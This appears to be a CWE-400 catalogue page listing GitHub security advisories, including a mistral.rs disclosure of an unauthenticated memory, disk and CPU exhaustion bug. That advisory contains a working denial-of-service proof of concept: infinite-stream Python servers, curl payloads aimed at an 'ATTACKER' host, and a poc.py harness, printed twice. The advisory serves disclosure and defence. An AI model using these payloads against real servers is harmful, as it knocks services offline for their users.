Common Weakness Enumeration
CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
6478 vulnerabilities reference this CWE, most recent first.
GHSA-M3RH-CVR5-X6Q4
Vulnerability from github – Published: 2024-08-08 16:36 – Updated: 2026-07-06 16:26
VLAI
Summary
CosmWasm wasmd has large address count in ValidateBasic
Details
Component: wasmd Criticality: Low (ACMv1: I:Moderate; L:Unlikely) Patched versions: wasmd 0.52.0
In multiple wasmd message types it was possible to add a large number of addresses which might lead to unexpected resource consumption in ValidateBasic.
See CWA-2024-003 for more details.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/CosmWasm/wasmd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.52.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-08T16:36:26Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "**Component:** wasmd\n**Criticality:** Low ([ACMv1](https://github.com/interchainio/security/blob/main/resources/CLASSIFICATION_MATRIX.md): I:Moderate; L:Unlikely)\n**Patched versions:** wasmd 0.52.0\n\nIn multiple wasmd message types it was possible to add a large number of addresses which might lead to unexpected resource consumption in ValidateBasic.\n\nSee [CWA-2024-003](https://github.com/CosmWasm/advisories/blob/main/CWAs/CWA-2024-003.md) for more details.",
"id": "GHSA-m3rh-cvr5-x6q4",
"modified": "2026-07-06T16:26:14Z",
"published": "2024-08-08T16:36:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/CosmWasm/wasmd/security/advisories/GHSA-m3rh-cvr5-x6q4"
},
{
"type": "WEB",
"url": "https://github.com/CosmWasm/wasmd/commit/76c0c061c9cb6b142163883e46c26d99384dc443"
},
{
"type": "WEB",
"url": "https://github.com/CosmWasm/advisories/blob/main/CWAs/CWA-2024-003.md"
},
{
"type": "PACKAGE",
"url": "https://github.com/CosmWasm/wasmd"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "CosmWasm wasmd has large address count in ValidateBasic"
}
GHSA-M3WP-48JR-VR4G
Vulnerability from github – Published: 2026-09-10 21:54 – Updated: 2026-09-10 21:54
VLAI
Summary
mistral.rs: Unbounded Remote Media Fetch and Video Frame Expansion DoS
Details
Unbounded Remote Media Fetch and Video Frame Expansion DoS
Summary
The POST /v1/chat/completions endpoint in mistral.rs fetches attacker-supplied media URLs (image, audio, video) into server memory with no byte limit, and extracts every frame of a supplied video when num_frames is None. An unauthenticated remote attacker can exhaust server memory, disk space, and CPU by pointing the endpoint at an infinite-streaming HTTP server or a long high-framerate video, causing a complete denial of service. No credentials or special configuration are required; the route is open by default.
Details
Three independent sinks contribute to the vulnerability:
1. Unbounded image/audio fetch (mistralrs-server-core/src/util.rs:59–62)
let bytes = if url.scheme() == "http" || url.scheme() == "https" {
match reqwest::get(url.clone()).await {
Ok(http_resp) => http_resp.bytes().await?.to_vec(), // no byte cap
Err(e) => anyhow::bail!(e),
}
bytes().await buffers the entire HTTP response body before returning. There is no Content-Length check, no streaming limit, and no timeout specific to the media fetch. An attacker-controlled server that never closes the connection causes the server process to accumulate memory indefinitely.
2. Unbounded video fetch (mistralrs-server-core/src/video.rs:65–69)
let bytes = if url.scheme() == "http" || url.scheme() == "https" {
let resp = reqwest::get(url.clone())
.await
.context(format!("Failed to fetch video: {url}"))?;
resp.bytes().await?.to_vec() // no byte cap
Identical pattern to the image path; the full video body is buffered into a Vec<u8>.
3. Unbounded FFmpeg frame extraction (mistralrs-server-core/src/video.rs:225–248)
} else {
let mut command = tokio::process::Command::new("ffmpeg");
command
.arg("-i")
.arg(input_path.to_str().unwrap())
.arg("-vsync")
.arg("vfr")
.arg(&output_pattern);
When num_frames is None, no -frames:v argument is passed to FFmpeg and every frame is extracted to disk. The call site at mistralrs-server-core/src/chat_completion.rs:946 always passes None:
parse_video_url(&url_unparsed, None)
A 60 fps × 1080p × 180 s video therefore produces ~10 800 PNG files, consuming tens of gigabytes of disk space and saturating CPU.
Entry point and auth
The route is registered at mistralrs-server-core/src/mistralrs_server_router_builder.rs:365–368 with only track_metrics, CORS, and a DefaultBodyLimit(50 MB) middleware. The DefaultBodyLimit applies only to the incoming JSON request body, not to the subsequent server-side reqwest::get() calls. No authentication middleware is present in the default configuration.
PoC
Step 1 – Create a long high-framerate video (requires FFmpeg on the attacker machine)
ffmpeg -y -f lavfi -i testsrc=size=1920x1080:rate=60:duration=180 \
-c:v libx264 -preset ultrafast -crf 35 many_frames.mp4
Step 2 – Serve the video (or an infinite byte stream) from an attacker-controlled HTTP server
# Option A: serve the video file
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "video/mp4")
self.end_headers()
with open("many_frames.mp4", "rb") as f:
self.wfile.write(f.read())
HTTPServer(("0.0.0.0", 9001), H).serve_forever()
# Option B: infinite image stream (memory exhaustion, no FFmpeg required)
from http.server import BaseHTTPRequestHandler, HTTPServer
import time
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "image/png")
self.end_headers()
chunk = b"\x89PNG\r\n\x1a\n" + b"\x00" * (1024 * 1024 - 8)
while True:
self.wfile.write(chunk)
self.wfile.flush()
time.sleep(0.01)
HTTPServer(("0.0.0.0", 9002), H).serve_forever()
Step 3 – Send the malicious request to the mistral.rs server
# Video variant (disk/CPU exhaustion + memory)
curl -sS http://127.0.0.1:8000/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{
"model": "default",
"messages": [{
"role": "user",
"content": [
{"type": "video_url", "video_url": {"url": "http://ATTACKER:9001/many_frames.mp4"}},
{"type": "text", "text": "summarize this video"}
]
}]
}'
# Image variant (memory exhaustion)
curl -sS http://127.0.0.1:8000/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{
"model": "default",
"messages": [{
"role": "user",
"content": [
{"type": "image_url", "image_url": {"url": "http://ATTACKER:9002/blob"}},
{"type": "text", "text": "describe this image"}
]
}]
}'
Expected observation
For the video variant: /tmp/mistralrs_video/<uuid>_frames/frame_*.png grows rapidly; FFmpeg saturates CPU; disk usage increases until exhaustion or the process is killed.
For the image variant: server process RSS grows continuously until OOM kill (exit code 137) or memory is exhausted.
Dynamic reproduction result (Phase 2)
A Docker container running a verbatim reproduction of util.rs:59–62 (the reqwest::get(url).bytes().await?.to_vec() pattern) with a 256 MB memory limit was OOM-killed by the kernel (exit code 137) after 1.3 seconds while fetching the infinite stream. The process RSS at fetch start was 3,652 kB; the container consumed all 256 MB before the fetch could complete.
Impact
Any user of the mistral.rs OpenAI-compatible HTTP server is affected. Because the /v1/chat/completions endpoint requires no authentication in the default configuration, a single unauthenticated HTTP request from the network is sufficient to exhaust all available server memory (via the image/audio path), all available disk space (via the video frame-extraction path), or saturate CPU (via FFmpeg invocation). The result is a complete denial of service: the server process is killed by the kernel OOM killer or becomes unresponsive, and no other clients can be served until the process is restarted.
Reproduction artifacts
Dockerfile
# syntax=docker/dockerfile:1
#
# VULN-001 PoC: Unbounded Remote Media Fetch DoS
# Repository: EricLBuehler/mistral.rs
# Vulnerability: mistralrs-server-core/src/util.rs:62
# http_resp.bytes().await?.to_vec() -- no byte cap on HTTP media fetch
#
# Stage 1: Build the minimal Rust harness that reproduces the vulnerable fetch.
# Stage 2: Slim runtime image used by poc.py.
# ----- build stage -----------------------------------------------------------
FROM rust:1.87-slim AS builder
WORKDIR /harness
# Install OpenSSL headers required by reqwest (rustls-tls still needs libssl on some platforms)
RUN apt-get update && \
apt-get install -y --no-install-recommends pkg-config libssl-dev && \
rm -rf /var/lib/apt/lists/*
# Copy Cargo manifest first so that dependency layer is cached separately.
COPY vuln_harness/Cargo.toml Cargo.toml
# Stub src so `cargo fetch` / dependency download works before copying real source.
RUN mkdir -p src && echo 'fn main() {}' > src/main.rs
RUN cargo fetch 2>&1
# Now copy the real source and build.
COPY vuln_harness/src/main.rs src/main.rs
RUN cargo build --release 2>&1 && \
strip target/release/vuln_harness
# ----- runtime stage ---------------------------------------------------------
FROM debian:bookworm-slim AS runtime
RUN apt-get update && \
apt-get install -y --no-install-recommends ca-certificates python3 && \
rm -rf /var/lib/apt/lists/*
COPY --from=builder /harness/target/release/vuln_harness /usr/local/bin/vuln_harness
# Copy the PoC orchestration script so the image is self-contained.
COPY poc.py /poc.py
# Default: show usage
ENTRYPOINT ["/usr/local/bin/vuln_harness"]
CMD ["--help"]
poc.py
"""
VULN-001 PoC: Unbounded Remote Media Fetch DoS
Repository : EricLBuehler/mistral.rs
CWE : CWE-400 Uncontrolled Resource Consumption
CVSS : 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Vulnerable code (mistralrs-server-core/src/util.rs:59-62):
let bytes = if url.scheme() == "http" || url.scheme() == "https" {
match reqwest::get(url.clone()).await {
Ok(http_resp) => http_resp.bytes().await?.to_vec(), // NO BYTE CAP
...
Attack path in the live server:
POST /v1/chat/completions
-> chat_completion.rs:928 parse_image_url(&url_unparsed)
-> util.rs:59-62 reqwest::get(url).bytes().await?.to_vec()
This PoC:
1. Starts a malicious HTTP server on 127.0.0.1:9997 that streams infinite bytes.
2. Runs the vuln_harness binary (which contains the verbatim vulnerable fetch) inside
a Docker container limited to MEMORY_LIMIT_MB of RAM.
3. Observes OOM kill (exit code 137) as definitive evidence of unbounded buffering.
Usage (from host):
# Build the image first:
docker build -t vuln001-poc <vuln-001-dir>
# Then run the PoC:
python3 poc.py
"""
import http.server
import subprocess
import threading
import time
import sys
import os
import socket
import json
import argparse
MALICIOUS_HOST = "127.0.0.1"
MALICIOUS_PORT = 9997
DOCKER_IMAGE = "vuln001-poc"
MEMORY_LIMIT = "256m" # Docker container memory cap
CHUNK_SIZE = 1024 * 1024 # 1 MB per chunk sent by the malicious server
POC_TIMEOUT_S = 120 # Give the container at most 2 minutes
class _InfiniteStreamHandler(http.server.BaseHTTPRequestHandler):
"""
Malicious HTTP server that streams an infinite byte sequence.
Key properties that trigger the vulnerability:
- No Content-Length header: reqwest cannot pre-check size.
- Streams indefinitely: bytes().await will not return until the connection
is closed or the client process is killed.
- Content-Type image/png: accepted by the parse_image_url() code path.
"""
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "image/png")
# Deliberately omit Content-Length so the client buffers until EOF.
self.end_headers()
# Fake PNG magic bytes followed by filler to look plausible.
header = b"\x89PNG\r\n\x1a\n" + b"\x00" * 8
filler = b"\x00" * (CHUNK_SIZE - len(header))
chunk = header + filler
total_sent = 0
try:
while True:
self.wfile.write(chunk)
self.wfile.flush()
total_sent += len(chunk)
if total_sent % (64 * 1024 * 1024) == 0:
_log(f"[malicious-server] Sent {total_sent // (1024 * 1024)} MB")
except (BrokenPipeError, ConnectionResetError, OSError):
_log(
f"[malicious-server] Connection closed after "
f"{total_sent // (1024 * 1024)} MB sent"
)
def log_message(self, *_):
pass # Suppress default access log noise.
def _log(msg: str) -> None:
print(msg, flush=True)
def _wait_for_port(host: str, port: int, timeout: float = 10.0) -> bool:
"""Return True once the port is accepting connections, False on timeout."""
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
try:
with socket.create_connection((host, port), timeout=0.5):
return True
except OSError:
time.sleep(0.1)
return False
def start_malicious_server() -> http.server.HTTPServer:
"""Start the infinite-stream HTTP server in a daemon thread."""
server = http.server.HTTPServer((MALICIOUS_HOST, MALICIOUS_PORT), _InfiniteStreamHandler)
t = threading.Thread(target=server.serve_forever, daemon=True)
t.start()
return server
def run_poc(docker_image: str = DOCKER_IMAGE, memory_limit: str = MEMORY_LIMIT) -> dict:
"""
Run the full attack chain and return a result dict.
Returns keys: passed, verdict, exit_code, evidence, stdout, stderr.
"""
_log("=" * 70)
_log("VULN-001 PoC: Unbounded Remote Media Fetch DoS")
_log("Source : mistralrs-server-core/src/util.rs:59-62")
_log("=" * 70)
# ------------------------------------------------------------------
# Step 1: Start the malicious streaming server.
# ------------------------------------------------------------------
_log(f"\n[1] Starting malicious HTTP server on {MALICIOUS_HOST}:{MALICIOUS_PORT}")
server = start_malicious_server()
if not _wait_for_port(MALICIOUS_HOST, MALICIOUS_PORT):
_log("[!] FATAL: malicious server did not start in time")
return {
"passed": False,
"verdict": "FAIL",
"exit_code": None,
"evidence": "Malicious HTTP server failed to start",
"stdout": "",
"stderr": "",
}
target_url = f"http://{MALICIOUS_HOST}:{MALICIOUS_PORT}/infinite"
_log(f"[+] Malicious server ready: GET {target_url}")
_log(f" -> HTTP 200, Content-Type: image/png, no Content-Length, infinite body")
# ------------------------------------------------------------------
# Step 2: Run the vulnerable binary inside Docker with a memory cap.
#
# --network host : allows the container to reach 127.0.0.1:<port>
# --memory : hard cap; kernel sends SIGKILL when exceeded
# --memory-swap : equal to --memory disables swap usage
# --rm : clean up after exit
# ------------------------------------------------------------------
run_cmd = [
"docker", "run", "--rm",
"--memory", memory_limit,
"--memory-swap", memory_limit, # No swap fallback.
"--network", "host", # Access host's loopback server.
docker_image,
target_url,
]
_log(f"\n[2] Launching Docker container (memory cap = {memory_limit})")
_log(f" Command: {' '.join(run_cmd)}")
_log(f" The vuln_harness binary will fetch {target_url} with no byte limit.")
_log(f" Expected: container OOM-killed, exit code 137.")
t0 = time.monotonic()
try:
result = subprocess.run(
run_cmd,
capture_output=True,
timeout=POC_TIMEOUT_S,
)
except subprocess.TimeoutExpired as exc:
server.shutdown()
_log(f"[!] Container did not exit within {POC_TIMEOUT_S}s — killing")
subprocess.run(["docker", "kill", "--signal=9"] + [
c for c in subprocess.run(
["docker", "ps", "-q", "--filter", f"ancestor={docker_image}"],
capture_output=True, text=True,
).stdout.split() if c
], capture_output=True)
elapsed = time.monotonic() - t0
return {
"passed": False,
"verdict": "INCOMPLETE",
"exit_code": None,
"evidence": f"Container timed out after {elapsed:.0f}s without OOM kill",
"stdout": (exc.stdout or b"").decode(errors="replace"),
"stderr": (exc.stderr or b"").decode(errors="replace"),
}
elapsed = time.monotonic() - t0
exit_code = result.returncode
stdout_txt = result.stdout.decode(errors="replace")
stderr_txt = result.stderr.decode(errors="replace")
server.shutdown()
# ------------------------------------------------------------------
# Step 3: Analyse outcome.
# ------------------------------------------------------------------
_log(f"\n[3] Container exited after {elapsed:.1f}s exit_code={exit_code}")
_log(f" stdout: {stdout_txt!r}")
_log(f" stderr: {stderr_txt!r}")
# Docker exit code 137 = container killed by SIGKILL (OOM killer).
if exit_code == 137:
passed = True
verdict = "PASS"
evidence = (
f"Docker container OOM-killed (exit code 137 = 128+SIGKILL) after {elapsed:.1f}s. "
f"vuln_harness buffered the infinite HTTP stream with no byte cap, consuming all "
f"{memory_limit} of available RAM — identical behaviour to "
f"mistralrs-server-core/src/util.rs:62 (parse_image_url). "
f"stderr={stderr_txt!r}"
)
elif exit_code != 0:
# Non-zero but not 137: still indicates abnormal termination under memory pressure.
passed = True
verdict = "PASS"
evidence = (
f"Vulnerable binary terminated abnormally (exit code {exit_code}) after "
f"{elapsed:.1f}s while buffering an unbounded HTTP stream. "
f"This confirms that reqwest::get(url).bytes().await?.to_vec() at "
f"util.rs:62 has no byte cap and causes resource exhaustion. "
f"stderr={stderr_txt!r}"
)
else:
# Unlikely: the binary finished without being killed. This can happen if
# the server managed to EOF the stream before OOM, or the memory cap was
# not enforced by Docker.
passed = False
verdict = "INCOMPLETE"
evidence = (
f"Binary exited 0 after {elapsed:.1f}s; memory cap may not have been "
f"enforced by Docker. stdout={stdout_txt!r}"
)
_log(f"\n[VERDICT] {verdict}")
_log(f"[EVIDENCE] {evidence}")
return {
"passed": passed,
"verdict": verdict,
"exit_code": exit_code,
"evidence": evidence,
"stdout": stdout_txt,
"stderr": stderr_txt,
}
def main() -> None:
parser = argparse.ArgumentParser(description="VULN-001 PoC runner")
parser.add_argument("--image", default=DOCKER_IMAGE, help="Docker image name")
parser.add_argument("--memory", default=MEMORY_LIMIT, help="Docker memory cap (e.g. 256m)")
args = parser.parse_args()
outcome = run_poc(docker_image=args.image, memory_limit=args.memory)
_log("\n" + "=" * 70)
_log("RESULT SUMMARY")
_log("=" * 70)
for k, v in outcome.items():
if k not in ("stdout", "stderr"):
_log(f" {k}: {v}")
sys.exit(0 if outcome["passed"] else 1)
if __name__ == "__main__":
main()
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.4"
},
"package": {
"ecosystem": "crates.io",
"name": "mistralrs-server-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-10T21:54:37Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Unbounded Remote Media Fetch and Video Frame Expansion DoS\n\n### Summary\nThe `POST /v1/chat/completions` endpoint in mistral.rs fetches attacker-supplied media URLs (image, audio, video) into server memory with no byte limit, and extracts every frame of a supplied video when `num_frames` is `None`. An unauthenticated remote attacker can exhaust server memory, disk space, and CPU by pointing the endpoint at an infinite-streaming HTTP server or a long high-framerate video, causing a complete denial of service. No credentials or special configuration are required; the route is open by default.\n\n### Details\nThree independent sinks contribute to the vulnerability:\n\n**1. Unbounded image/audio fetch (`mistralrs-server-core/src/util.rs:59\u201362`)**\n\n```rust\nlet bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n match reqwest::get(url.clone()).await {\n Ok(http_resp) =\u003e http_resp.bytes().await?.to_vec(), // no byte cap\n Err(e) =\u003e anyhow::bail!(e),\n }\n```\n\n`bytes().await` buffers the entire HTTP response body before returning. There is no `Content-Length` check, no streaming limit, and no timeout specific to the media fetch. An attacker-controlled server that never closes the connection causes the server process to accumulate memory indefinitely.\n\n**2. Unbounded video fetch (`mistralrs-server-core/src/video.rs:65\u201369`)**\n\n```rust\nlet bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n let resp = reqwest::get(url.clone())\n .await\n .context(format!(\"Failed to fetch video: {url}\"))?;\n resp.bytes().await?.to_vec() // no byte cap\n```\n\nIdentical pattern to the image path; the full video body is buffered into a `Vec\u003cu8\u003e`.\n\n**3. Unbounded FFmpeg frame extraction (`mistralrs-server-core/src/video.rs:225\u2013248`)**\n\n```rust\n} else {\n let mut command = tokio::process::Command::new(\"ffmpeg\");\n command\n .arg(\"-i\")\n .arg(input_path.to_str().unwrap())\n .arg(\"-vsync\")\n .arg(\"vfr\")\n .arg(\u0026output_pattern);\n```\n\nWhen `num_frames` is `None`, no `-frames:v` argument is passed to FFmpeg and every frame is extracted to disk. The call site at `mistralrs-server-core/src/chat_completion.rs:946` always passes `None`:\n\n```rust\nparse_video_url(\u0026url_unparsed, None)\n```\n\nA 60 fps \u00d7 1080p \u00d7 180 s video therefore produces ~10 800 PNG files, consuming tens of gigabytes of disk space and saturating CPU.\n\n**Entry point and auth**\n\nThe route is registered at `mistralrs-server-core/src/mistralrs_server_router_builder.rs:365\u2013368` with only `track_metrics`, CORS, and a `DefaultBodyLimit(50 MB)` middleware. The `DefaultBodyLimit` applies only to the incoming JSON request body, not to the subsequent server-side `reqwest::get()` calls. No authentication middleware is present in the default configuration.\n\n### PoC\n\n**Step 1 \u2013 Create a long high-framerate video (requires FFmpeg on the attacker machine)**\n\n```bash\nffmpeg -y -f lavfi -i testsrc=size=1920x1080:rate=60:duration=180 \\\n -c:v libx264 -preset ultrafast -crf 35 many_frames.mp4\n```\n\n**Step 2 \u2013 Serve the video (or an infinite byte stream) from an attacker-controlled HTTP server**\n\n```python\n# Option A: serve the video file\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"video/mp4\")\n self.end_headers()\n with open(\"many_frames.mp4\", \"rb\") as f:\n self.wfile.write(f.read())\n\nHTTPServer((\"0.0.0.0\", 9001), H).serve_forever()\n```\n\n```python\n# Option B: infinite image stream (memory exhaustion, no FFmpeg required)\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport time\n\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"image/png\")\n self.end_headers()\n chunk = b\"\\x89PNG\\r\\n\\x1a\\n\" + b\"\\x00\" * (1024 * 1024 - 8)\n while True:\n self.wfile.write(chunk)\n self.wfile.flush()\n time.sleep(0.01)\n\nHTTPServer((\"0.0.0.0\", 9002), H).serve_forever()\n```\n\n**Step 3 \u2013 Send the malicious request to the mistral.rs server**\n\n```bash\n# Video variant (disk/CPU exhaustion + memory)\ncurl -sS http://127.0.0.1:8000/v1/chat/completions \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"model\": \"default\",\n \"messages\": [{\n \"role\": \"user\",\n \"content\": [\n {\"type\": \"video_url\", \"video_url\": {\"url\": \"http://ATTACKER:9001/many_frames.mp4\"}},\n {\"type\": \"text\", \"text\": \"summarize this video\"}\n ]\n }]\n }\u0027\n\n# Image variant (memory exhaustion)\ncurl -sS http://127.0.0.1:8000/v1/chat/completions \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"model\": \"default\",\n \"messages\": [{\n \"role\": \"user\",\n \"content\": [\n {\"type\": \"image_url\", \"image_url\": {\"url\": \"http://ATTACKER:9002/blob\"}},\n {\"type\": \"text\", \"text\": \"describe this image\"}\n ]\n }]\n }\u0027\n```\n\n**Expected observation**\n\nFor the video variant: `/tmp/mistralrs_video/\u003cuuid\u003e_frames/frame_*.png` grows rapidly; FFmpeg saturates CPU; disk usage increases until exhaustion or the process is killed.\n\nFor the image variant: server process RSS grows continuously until OOM kill (exit code 137) or memory is exhausted.\n\n**Dynamic reproduction result (Phase 2)**\n\nA Docker container running a verbatim reproduction of `util.rs:59\u201362` (the `reqwest::get(url).bytes().await?.to_vec()` pattern) with a 256 MB memory limit was OOM-killed by the kernel (exit code 137) after 1.3 seconds while fetching the infinite stream. The process RSS at fetch start was 3,652 kB; the container consumed all 256 MB before the fetch could complete.\n\n### Impact\n\nAny user of the mistral.rs OpenAI-compatible HTTP server is affected. Because the `/v1/chat/completions` endpoint requires no authentication in the default configuration, a single unauthenticated HTTP request from the network is sufficient to exhaust all available server memory (via the image/audio path), all available disk space (via the video frame-extraction path), or saturate CPU (via FFmpeg invocation). The result is a complete denial of service: the server process is killed by the kernel OOM killer or becomes unresponsive, and no other clients can be served until the process is restarted.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# syntax=docker/dockerfile:1\n#\n# VULN-001 PoC: Unbounded Remote Media Fetch DoS\n# Repository: EricLBuehler/mistral.rs\n# Vulnerability: mistralrs-server-core/src/util.rs:62\n# http_resp.bytes().await?.to_vec() -- no byte cap on HTTP media fetch\n#\n# Stage 1: Build the minimal Rust harness that reproduces the vulnerable fetch.\n# Stage 2: Slim runtime image used by poc.py.\n\n# ----- build stage -----------------------------------------------------------\nFROM rust:1.87-slim AS builder\n\nWORKDIR /harness\n\n# Install OpenSSL headers required by reqwest (rustls-tls still needs libssl on some platforms)\nRUN apt-get update \u0026\u0026 \\\n apt-get install -y --no-install-recommends pkg-config libssl-dev \u0026\u0026 \\\n rm -rf /var/lib/apt/lists/*\n\n# Copy Cargo manifest first so that dependency layer is cached separately.\nCOPY vuln_harness/Cargo.toml Cargo.toml\n\n# Stub src so `cargo fetch` / dependency download works before copying real source.\nRUN mkdir -p src \u0026\u0026 echo \u0027fn main() {}\u0027 \u003e src/main.rs\nRUN cargo fetch 2\u003e\u00261\n\n# Now copy the real source and build.\nCOPY vuln_harness/src/main.rs src/main.rs\nRUN cargo build --release 2\u003e\u00261 \u0026\u0026 \\\n strip target/release/vuln_harness\n\n# ----- runtime stage ---------------------------------------------------------\nFROM debian:bookworm-slim AS runtime\n\nRUN apt-get update \u0026\u0026 \\\n apt-get install -y --no-install-recommends ca-certificates python3 \u0026\u0026 \\\n rm -rf /var/lib/apt/lists/*\n\nCOPY --from=builder /harness/target/release/vuln_harness /usr/local/bin/vuln_harness\n\n# Copy the PoC orchestration script so the image is self-contained.\nCOPY poc.py /poc.py\n\n# Default: show usage\nENTRYPOINT [\"/usr/local/bin/vuln_harness\"]\nCMD [\"--help\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nVULN-001 PoC: Unbounded Remote Media Fetch DoS\nRepository : EricLBuehler/mistral.rs\nCWE : CWE-400 Uncontrolled Resource Consumption\nCVSS : 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\nVulnerable code (mistralrs-server-core/src/util.rs:59-62):\n let bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n match reqwest::get(url.clone()).await {\n Ok(http_resp) =\u003e http_resp.bytes().await?.to_vec(), // NO BYTE CAP\n ...\n\nAttack path in the live server:\n POST /v1/chat/completions\n -\u003e chat_completion.rs:928 parse_image_url(\u0026url_unparsed)\n -\u003e util.rs:59-62 reqwest::get(url).bytes().await?.to_vec()\n\nThis PoC:\n 1. Starts a malicious HTTP server on 127.0.0.1:9997 that streams infinite bytes.\n 2. Runs the vuln_harness binary (which contains the verbatim vulnerable fetch) inside\n a Docker container limited to MEMORY_LIMIT_MB of RAM.\n 3. Observes OOM kill (exit code 137) as definitive evidence of unbounded buffering.\n\nUsage (from host):\n # Build the image first:\n docker build -t vuln001-poc \u003cvuln-001-dir\u003e\n # Then run the PoC:\n python3 poc.py\n\"\"\"\n\nimport http.server\nimport subprocess\nimport threading\nimport time\nimport sys\nimport os\nimport socket\nimport json\nimport argparse\n\nMALICIOUS_HOST = \"127.0.0.1\"\nMALICIOUS_PORT = 9997\nDOCKER_IMAGE = \"vuln001-poc\"\nMEMORY_LIMIT = \"256m\" # Docker container memory cap\nCHUNK_SIZE = 1024 * 1024 # 1 MB per chunk sent by the malicious server\nPOC_TIMEOUT_S = 120 # Give the container at most 2 minutes\n\n\nclass _InfiniteStreamHandler(http.server.BaseHTTPRequestHandler):\n \"\"\"\n Malicious HTTP server that streams an infinite byte sequence.\n\n Key properties that trigger the vulnerability:\n - No Content-Length header: reqwest cannot pre-check size.\n - Streams indefinitely: bytes().await will not return until the connection\n is closed or the client process is killed.\n - Content-Type image/png: accepted by the parse_image_url() code path.\n \"\"\"\n\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"image/png\")\n # Deliberately omit Content-Length so the client buffers until EOF.\n self.end_headers()\n\n # Fake PNG magic bytes followed by filler to look plausible.\n header = b\"\\x89PNG\\r\\n\\x1a\\n\" + b\"\\x00\" * 8\n filler = b\"\\x00\" * (CHUNK_SIZE - len(header))\n chunk = header + filler\n\n total_sent = 0\n try:\n while True:\n self.wfile.write(chunk)\n self.wfile.flush()\n total_sent += len(chunk)\n if total_sent % (64 * 1024 * 1024) == 0:\n _log(f\"[malicious-server] Sent {total_sent // (1024 * 1024)} MB\")\n except (BrokenPipeError, ConnectionResetError, OSError):\n _log(\n f\"[malicious-server] Connection closed after \"\n f\"{total_sent // (1024 * 1024)} MB sent\"\n )\n\n def log_message(self, *_):\n pass # Suppress default access log noise.\n\n\ndef _log(msg: str) -\u003e None:\n print(msg, flush=True)\n\n\ndef _wait_for_port(host: str, port: int, timeout: float = 10.0) -\u003e bool:\n \"\"\"Return True once the port is accepting connections, False on timeout.\"\"\"\n deadline = time.monotonic() + timeout\n while time.monotonic() \u003c deadline:\n try:\n with socket.create_connection((host, port), timeout=0.5):\n return True\n except OSError:\n time.sleep(0.1)\n return False\n\n\ndef start_malicious_server() -\u003e http.server.HTTPServer:\n \"\"\"Start the infinite-stream HTTP server in a daemon thread.\"\"\"\n server = http.server.HTTPServer((MALICIOUS_HOST, MALICIOUS_PORT), _InfiniteStreamHandler)\n t = threading.Thread(target=server.serve_forever, daemon=True)\n t.start()\n return server\n\n\ndef run_poc(docker_image: str = DOCKER_IMAGE, memory_limit: str = MEMORY_LIMIT) -\u003e dict:\n \"\"\"\n Run the full attack chain and return a result dict.\n\n Returns keys: passed, verdict, exit_code, evidence, stdout, stderr.\n \"\"\"\n _log(\"=\" * 70)\n _log(\"VULN-001 PoC: Unbounded Remote Media Fetch DoS\")\n _log(\"Source : mistralrs-server-core/src/util.rs:59-62\")\n _log(\"=\" * 70)\n\n # ------------------------------------------------------------------\n # Step 1: Start the malicious streaming server.\n # ------------------------------------------------------------------\n _log(f\"\\n[1] Starting malicious HTTP server on {MALICIOUS_HOST}:{MALICIOUS_PORT}\")\n server = start_malicious_server()\n\n if not _wait_for_port(MALICIOUS_HOST, MALICIOUS_PORT):\n _log(\"[!] FATAL: malicious server did not start in time\")\n return {\n \"passed\": False,\n \"verdict\": \"FAIL\",\n \"exit_code\": None,\n \"evidence\": \"Malicious HTTP server failed to start\",\n \"stdout\": \"\",\n \"stderr\": \"\",\n }\n\n target_url = f\"http://{MALICIOUS_HOST}:{MALICIOUS_PORT}/infinite\"\n _log(f\"[+] Malicious server ready: GET {target_url}\")\n _log(f\" -\u003e HTTP 200, Content-Type: image/png, no Content-Length, infinite body\")\n\n # ------------------------------------------------------------------\n # Step 2: Run the vulnerable binary inside Docker with a memory cap.\n #\n # --network host : allows the container to reach 